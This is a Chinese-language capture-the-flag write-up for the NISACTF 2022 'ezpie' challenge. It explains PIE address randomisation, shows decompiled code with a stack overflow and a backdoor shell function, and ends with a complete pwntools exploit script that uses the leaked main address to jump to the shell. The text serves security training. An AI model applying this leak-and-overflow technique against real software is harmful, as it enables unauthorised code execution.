[NISACTF 2022]ezpie
PIE保护:
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。
简单地说就是地址随机化。
绕过方式:
首先拿到这个题目的文件,先检查下文件的保护:
root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
之后反编译看看情况:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("OHHH!,give you a gift!");
printf("%p\n", main);
puts("Input:");
vuln();
return 0;
}
可以看到,这个题目首先打印出了main函数的地址,所以,可以先试着运行几次程序看看情况:
root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x5664b770
root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x5656b770
root@g01den-virtual-machine:/mnt/shared# ./pwn
OHHH!,give you a gift!
0x56630770
发现这个地址的最后三位数字都是相同的,再来就是根据虚拟内存分页的概念,这个的内存加载的随机化跟动态链接库加载到内存中地址随机化的概念是一样的,都是仅仅只是基地址的随机化,内部的字符之间的偏移是相同的,因此,只要从原文件中知道了偏移地址之后,就可以进行漏洞的利用了。
之后,通过函数的试图,找到了后门函数和危险函数:
ssize_t vuln()
{
char buf[40]; // [esp+0h] [ebp-28h] BYREF
return read(0, buf, 0x50u);
}
int shell()
{
return system("/bin/sh");
}
因此,这个题目的大致思路就是,通过接收输出的main函数的地址,再通过偏移量计算到后门函数的地址,之后,进行栈溢出攻击即可。
计算得到栈的偏移量为44:
root@g01den-virtual-machine:/mnt/shared# cyclic -l 0x6161616c
44
由此,脚本就可以这么写了:
from pwn import *
elf = ELF('./pwn')
io = process('./pwn')
io.recvuntil(b'gift!\n')
main_real = int(io.recv(10),16)
main_add = elf.symbols['main']
shell_add = elf.symbols['shell']
offset = main_add - shell_add
shell_real = main_real - offset
payload = b'A'*44 + p32(shell_real)
io.sendline(payload)
io.interactive()